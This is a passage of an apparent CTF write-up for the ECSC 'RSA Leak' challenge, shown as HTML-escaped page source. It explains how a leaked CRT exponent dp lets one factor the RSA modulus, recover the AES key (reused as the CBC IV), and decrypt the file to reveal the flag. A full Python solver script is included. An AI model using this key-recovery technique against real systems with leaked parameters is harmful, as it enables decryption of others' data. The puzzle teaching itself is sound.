&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;enc_dt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; encrypt(key, dt)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;open(&lt;span style="color:#e6db74"&gt;&amp;#39;top_secret.enc&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;write(enc_dt)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can see that the key that was used to encrypt &lt;code&gt;top_secret.enc&lt;/code&gt; is random, so we can&amp;rsquo;t guess it.&lt;/p&gt;
&lt;h3 id="aes-weakness"&gt;
AES Weakness
&lt;a href="#aes-weakness" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We can notice that the AES mode that is used is &lt;code&gt;CBC&lt;/code&gt; which normally uses an Initialization Vector (&lt;code&gt;iv&lt;/code&gt;) with the encryption key, that must be completely random and only used once. In the code it uses the &lt;code&gt;key&lt;/code&gt; as the &lt;code&gt;iv&lt;/code&gt;, so the only task is to find the encyption &lt;code&gt;key&lt;/code&gt; and we can easily decrypt the file.&lt;/p&gt;
&lt;h3 id="rsa-leak"&gt;
RSA Leak
&lt;a href="#rsa-leak" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The challenge is called RSA Leak, but we only see AES, where is RSA?? If we inspect the next lines of the python file we see:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;e &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;65537&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;p &lt;span style="color:#f92672"&gt;=&lt;/span&gt; getPrime(&lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;q &lt;span style="color:#f92672"&gt;=&lt;/span&gt; getPrime(&lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;n &lt;span style="color:#f92672"&gt;=&lt;/span&gt; p &lt;span style="color:#f92672"&gt;*&lt;/span&gt; q
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;phi &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (p&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#f92672"&gt;*&lt;/span&gt; (q&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d &lt;span style="color:#f92672"&gt;=&lt;/span&gt; inverse(e,phi)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;leak &lt;span style="color:#f92672"&gt;=&lt;/span&gt; d&lt;span style="color:#f92672"&gt;%&lt;/span&gt;(p&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;m &lt;span style="color:#f92672"&gt;=&lt;/span&gt; bytes_to_long(key)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;c &lt;span style="color:#f92672"&gt;=&lt;/span&gt; pow(m, e, n)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(&lt;span style="color:#e6db74"&gt;&amp;#34;n =&amp;#34;&lt;/span&gt;, n)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(&lt;span style="color:#e6db74"&gt;&amp;#34;e =&amp;#34;&lt;/span&gt;, e)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(&lt;span style="color:#e6db74"&gt;&amp;#34;c =&amp;#34;&lt;/span&gt;, c)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(&lt;span style="color:#e6db74"&gt;&amp;#34;leak =&amp;#34;&lt;/span&gt;, leak)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;n = 543346225106663839111039968130785919016674641442996947812903103961755757079710613958740656879366504536243949055081229279878847991991020265270521336740184071296007365845955543904514452178745251178017195685670677629615717682000756419358887339167959722314058630840417488268287438697328233522412108184658751013876152267533109001879057870100884570649142724035557404313469941702528743455730246416012857026044688799419871933126223604059106506915509486446055415017812904850452159015059157564683943172148086610263348065871518493559327939141603969951298317790806014999079897467791459559710128539993864924803946308721204182514260441583951453042844581691575723308340926826117020851043176059890812821074969931293813815379851313979195484143762712739522631708756764141004276382172566136550224343125782309848385520151311515356301666720087082869494478122289554751225720706466262056073529846239170626622207748133910502086300376146161254765393123697546740102010473067029287843821054608641705871287041674577944652663378334888090501981819169373536733106788513809866388068409564729035077680592083285548788178468014729687591248054282599589140714614678271338526650720345208366676617716192558887537911803293631187790827357732153175768489068993635898024052551
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;e = 65537
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;c = 342687544435106722668753497617515697889931274688490881240891816722749099146913989991258053161870598022267306801706896840975736768817716849174817550584877304834761138428220219383933451950538973937978550318148717726898756891201241849945349408391213670877684390668029494847973373888129660672608125871426900184315031308767595096908289192829052335676921218493543693489389075325900187437084099747465190092682284690309488373644355369940087232841306774773098886960660864202502969303605977242881124335312245227434434993200362631610909272954885316746210968474509770535407786066676696809998246503112517731735445573586194795029530624738419722131531334888597726145787478695795801946906624068441146103359904580816389357515942520450329471812204346735266376866571219351658484269996212380218802337897282338756083577264008672340254009688647002117044513595757383766430992134114562872758268410311932129930806546393458039299547554414131770457486019324332641141299808921605107811104106258801911298863427454394754299136469527954273925721710957719112643911294176392671506076508661460578503180302746649644657457691978605886382637184156205665012838070707129507637259169757513623029490781405370749894374763608925173066405668703470452660056668364569998124780301
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;leak = 10133216471752755080604184970259815785205981120172554626789548467233131819116108801216792157264987031671165719292412479618830500445861722282735722578711291141496054632488603107741733268902534656060845058658635517791685098389523659637487226838069605215006741618804094285713684089322777788183466907011464794698302853722754111358230154577743207775760592176122031328467302912224772973799738480446432346669849741723026153357388273187130779859516662464542786794102557681400604400186483607530002942528044503745837703412474159461539216180935911622191237331615647765264857848350920862479435982274570852168761683723103602763375
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These are all variables that are related to the RSA encryption. Besides the usuall public variables like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;n&lt;/code&gt; which is composed of two random secret prime numbers &lt;code&gt;p&lt;/code&gt; &lt;code&gt;q&lt;/code&gt; (&lt;code&gt;n = p*q&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e&lt;/code&gt;, an integer with usuall value of &lt;code&gt;65537&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c&lt;/code&gt;, the ciphertext&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We also get a &lt;code&gt;leak&lt;/code&gt; which is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;leak = d % (p-1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;where &lt;code&gt;d&lt;/code&gt; is the secret private key.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If we search for weakness in the RSA encryption scheme, we can find information about &lt;a href="https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29#Using_the_Chinese_remainder_algorithm"&gt;the chinese remainder theorem&lt;/a&gt;, and that the &lt;code&gt;leak&lt;/code&gt; value in reality is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;leak = dp = d%(p-1)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We will use that info shortly.&lt;/p&gt;
&lt;h3 id="attack-plan"&gt;
Attack Plan
&lt;a href="#attack-plan" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Now we have enough to form an attack plan, although the details are not exact yet:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We have the &lt;code&gt;n&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;dp&lt;/code&gt; RSA values as comment.&lt;/li&gt;
&lt;li&gt;If we can find the &lt;code&gt;d&lt;/code&gt; value we can decrypt the &lt;code&gt;c&lt;/code&gt; ciphertext.&lt;/li&gt;
&lt;li&gt;We decrypt &lt;code&gt;c&lt;/code&gt; to the plain text &lt;code&gt;m&lt;/code&gt; value using &lt;code&gt;m = c^d mod n&lt;/code&gt;, which is the &lt;code&gt;key&lt;/code&gt; and &lt;code&gt;iv&lt;/code&gt; used for AES.&lt;/li&gt;
&lt;li&gt;With the AES &lt;code&gt;key&lt;/code&gt; we can decrypt the &lt;code&gt;.enc&lt;/code&gt; file.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="rsa-crt"&gt;
RSA-CRT
&lt;a href="#rsa-crt" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;From the CRT (Chinese Remainder Theorem) implementation we can find that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;e*dp = 1 % (p-1)&lt;/code&gt; &lt;a href="https://eprint.iacr.org/2004/147.pdf"&gt;Proof page 7&lt;/a&gt;, &lt;a href="https://nitaj.users.lmno.cnrs.fr/rsa21.pdf"&gt;Also source&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Part of Proof:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dp = d % (p-1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e*dp = e*d % (p-1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e*dp = 1 % (p-1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e*dp - 1 = 0 % (p-1)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So we know:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;e*dp - 1 = 0 % (p-1)&lt;/code&gt; which means &lt;code&gt;e*dp - 1&lt;/code&gt; equally divides &lt;code&gt;p-1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;So we can write: &lt;code&gt;e*dp - 1 = k*(p-1)&lt;/code&gt;, where &lt;code&gt;k&amp;lt;e&lt;/code&gt; since &lt;code&gt;k(p-1)&lt;/code&gt; is multiple of &lt;code&gt;e*dp - 1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Solving for &lt;code&gt;p&lt;/code&gt; we get: &lt;code&gt;p = (e*dp-1+k)/k&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We can try all possible &lt;code&gt;k&lt;/code&gt; from &lt;code&gt;0-e=65537&lt;/code&gt;, such that &lt;code&gt;N/p=q&lt;/code&gt; is a positive integer.&lt;/li&gt;
&lt;li&gt;Then we find &lt;code&gt;q&lt;/code&gt; as: &lt;code&gt;q = N/p&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Then &lt;code&gt;d&lt;/code&gt; as: &lt;code&gt;d = 1/e * (p-1) * (q-1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Finally, decrypt &lt;code&gt;m&lt;/code&gt; as: &lt;code&gt;m = c^d mod n&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We write the following python script to do all of these actions and also decrypt the encrypted file using the found &lt;code&gt;key&lt;/code&gt; as the key and iv for the AES algorithm:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; sys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; Crypto.Util.number &lt;span style="color:#f92672"&gt;import&lt;/span&gt; inverse, long_to_bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; Crypto.Cipher &lt;span style="color:#f92672"&gt;import&lt;/span&gt; AES
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#### Constant - Known Values of RSA&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;e &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;65537&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;n &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;543346225106663839111039968130785919016674641442996947812903103961755757079710613958740656879366504536243949055081229279878847991991020265270521336740184071296007365845955543904514452178745251178017195685670677629615717682000756419358887339167959722314058630840417488268287438697328233522412108184658751013876152267533109001879057870100884570649142724035557404313469941702528743455730246416012857026044688799419871933126223604059106506915509486446055415017812904850452159015059157564683943172148086610263348065871518493559327939141603969951298317790806014999079897467791459559710128539993864924803946308721204182514260441583951453042844581691575723308340926826117020851043176059890812821074969931293813815379851313979195484143762712739522631708756764141004276382172566136550224343125782309848385520151311515356301666720087082869494478122289554751225720706466262056073529846239170626622207748133910502086300376146161254765393123697546740102010473067029287843821054608641705871287041674577944652663378334888090501981819169373536733106788513809866388068409564729035077680592083285548788178468014729687591248054282599589140714614678271338526650720345208366676617716192558887537911803293631187790827357732153175768489068993635898024052551&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10133216471752755080604184970259815785205981120172554626789548467233131819116108801216792157264987031671165719292412479618830500445861722282735722578711291141496054632488603107741733268902534656060845058658635517791685098389523659637487226838069605215006741618804094285713684089322777788183466907011464794698302853722754111358230154577743207775760592176122031328467302912224772973799738480446432346669849741723026153357388273187130779859516662464542786794102557681400604400186483607530002942528044503745837703412474159461539216180935911622191237331615647765264857848350920862479435982274570852168761683723103602763375&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;c &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;342687544435106722668753497617515697889931274688490881240891816722749099146913989991258053161870598022267306801706896840975736768817716849174817550584877304834761138428220219383933451950538973937978550318148717726898756891201241849945349408391213670877684390668029494847973373888129660672608125871426900184315031308767595096908289192829052335676921218493543693489389075325900187437084099747465190092682284690309488373644355369940087232841306774773098886960660864202502969303605977242881124335312245227434434993200362631610909272954885316746210968474509770535407786066676696809998246503112517731735445573586194795029530624738419722131531334888597726145787478695795801946906624068441146103359904580816389357515942520450329471812204346735266376866571219351658484269996212380218802337897282338756083577264008672340254009688647002117044513595757383766430992134114562872758268410311932129930806546393458039299547554414131770457486019324332641141299808921605107811104106258801911298863427454394754299136469527954273925721710957719112643911294176392671506076508661460578503180302746649644657457691978605886382637184156205665012838070707129507637259169757513623029490781405370749894374763608925173066405668703470452660056668364569998124780301&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RSA_find_p&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; k &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, e):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; p &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (e&lt;span style="color:#f92672"&gt;*&lt;/span&gt;dp &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; k) &lt;span style="color:#f92672"&gt;//&lt;/span&gt; k
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Check if p can divide n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; n &lt;span style="color:#f92672"&gt;%&lt;/span&gt; p &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; p
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;AES_decrypt&lt;/span&gt;(key, msg):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; crypto &lt;span style="color:#f92672"&gt;=&lt;/span&gt; AES&lt;span style="color:#f92672"&gt;.&lt;/span&gt;new(key, AES&lt;span style="color:#f92672"&gt;.&lt;/span&gt;MODE_CBC,key)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; crypto&lt;span style="color:#f92672"&gt;.&lt;/span&gt;decrypt(msg)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(sys&lt;span style="color:#f92672"&gt;.&lt;/span&gt;argv) &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;Usage:&amp;#39;&lt;/span&gt;, sys&lt;span style="color:#f92672"&gt;.&lt;/span&gt;argv[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;], &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;lt;top_secret.enc&amp;gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; top_secret_file &lt;span style="color:#f92672"&gt;=&lt;/span&gt; sys&lt;span style="color:#f92672"&gt;.&lt;/span&gt;argv[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#### Find p&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; p &lt;span style="color:#f92672"&gt;=&lt;/span&gt; RSA_find_p()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;p =&amp;#39;&lt;/span&gt;, p)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; p &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;Can not find p&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#### Find q&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; q &lt;span style="color:#f92672"&gt;=&lt;/span&gt; n &lt;span style="color:#f92672"&gt;//&lt;/span&gt; p
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;q =&amp;#39;&lt;/span&gt;, q)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#### Find d&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; phi &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (p&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#f92672"&gt;*&lt;/span&gt; (q&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; d &lt;span style="color:#f92672"&gt;=&lt;/span&gt; inverse(e,phi)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;d =&amp;#39;&lt;/span&gt;, d)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#### Find m (Decrypt)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; m &lt;span style="color:#f92672"&gt;=&lt;/span&gt; pow(c, d, n)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;m =&amp;#39;&lt;/span&gt;, m)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#### Find AES key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; long_to_bytes(m)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;m (bytes) = &amp;#39;&lt;/span&gt;, key)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#### Decrypt file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; open(top_secret_file, &lt;span style="color:#e6db74"&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;Encrypted file:&amp;#39;&lt;/span&gt;, dt)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; decr_dt &lt;span style="color:#f92672"&gt;=&lt;/span&gt; AES_decrypt(key, dt)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;Decrypted file:&amp;#39;&lt;/span&gt;, decr_dt)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run python script to do the above automatically and we get the flag:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 rsa_leak.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Decrypted file: b&lt;span style="color:#e6db74"&gt;&amp;#39;To DinoCorp,\nUnfortunately, our experiments failed. The situation got out of control. I have spent all my life\nstudying these beautiful animals. Trying to bring them back to life was wrong.\nPlease send help!!\nECSC{r54_l34k5_l34d_70_fl4g5}\x02\x02&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="flag"&gt;
Flag
&lt;a href="#flag" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
